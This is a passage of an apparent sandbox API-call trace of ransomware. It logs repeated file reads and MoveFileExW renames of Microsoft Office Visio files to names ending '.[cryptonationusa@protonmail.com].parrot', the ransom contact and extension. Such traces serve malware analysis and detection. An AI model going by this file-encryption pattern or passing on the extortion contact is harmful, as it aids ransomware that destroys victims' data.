dwFlags=0x2) returned 1 [0216.609] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.609] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.610] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.611] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8200, lpOverlapped=0x0) returned 1 [0216.622] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECHIP_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eechip_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECHIP_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eechip_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.630] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.631] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.679] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.680] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x26000, lpOverlapped=0x0) returned 1 [0216.686] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECOMP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eecomp_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECOMP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eecomp_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.701] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.701] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.702] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.702] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24600, lpOverlapped=0x0) returned 1 [0216.713] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECOMP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eecomp_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EECOMP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eecomp_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.739] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.739] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.740] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.740] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x39800, lpOverlapped=0x0) returned 1 [0216.750] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEFUND_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eefund_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEFUND_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eefund_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.763] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.763] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.765] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.765] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x37c00, lpOverlapped=0x0) returned 1 [0216.779] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEFUND_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eefund_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEFUND_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eefund_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.803] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.803] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.805] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.806] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9000, lpOverlapped=0x0) returned 1 [0216.813] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEGENR_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eegenr_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEGENR_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eegenr_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.869] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.869] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.870] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.870] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8e00, lpOverlapped=0x0) returned 1 [0216.872] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEGENR_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eegenr_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEGENR_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eegenr_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.879] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.879] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.881] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.881] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9200, lpOverlapped=0x0) returned 1 [0216.882] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEICS_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeics_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEICS_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeics_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.888] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.888] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.890] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.890] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9200, lpOverlapped=0x0) returned 1 [0216.891] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.892] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEICS_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeics_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEICS_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eeics_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0216.897] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0216.897] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0216.898] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.898] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xde00, lpOverlapped=0x0) returned 1 [0217.058] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMAIN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemain_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMAIN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemain_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.067] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.067] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.068] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.068] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd800, lpOverlapped=0x0) returned 1 [0217.069] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMAIN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemain_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMAIN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemain_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.078] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.078] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.080] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.080] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2da00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2da00, lpOverlapped=0x0) returned 1 [0217.085] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMAPS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemaps_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMAPS_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemaps_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.096] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.096] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.099] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.099] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ba00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2ba00, lpOverlapped=0x0) returned 1 [0217.108] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMAPS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemaps_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMAPS_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemaps_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.121] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.121] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.122] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.123] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x15800, lpOverlapped=0x0) returned 1 [0217.129] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMECH_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemech_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMECH_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemech_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.140] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.140] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.179] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.179] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x14800, lpOverlapped=0x0) returned 1 [0217.182] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMECH_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemech_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEMECH_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eemech_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.194] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.194] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.196] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.196] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b400, lpOverlapped=0x0) returned 1 [0217.199] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEPATH_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eepath_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEPATH_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eepath_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.213] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.213] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.222] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.222] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a800, lpOverlapped=0x0) returned 1 [0217.226] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEPATH_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eepath_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEPATH_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eepath_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0217.240] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0217.240] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0217.242] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.242] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a600, lpOverlapped=0x0) returned 1 [0217.245] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.250] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\EEQUAL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\eequal_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft 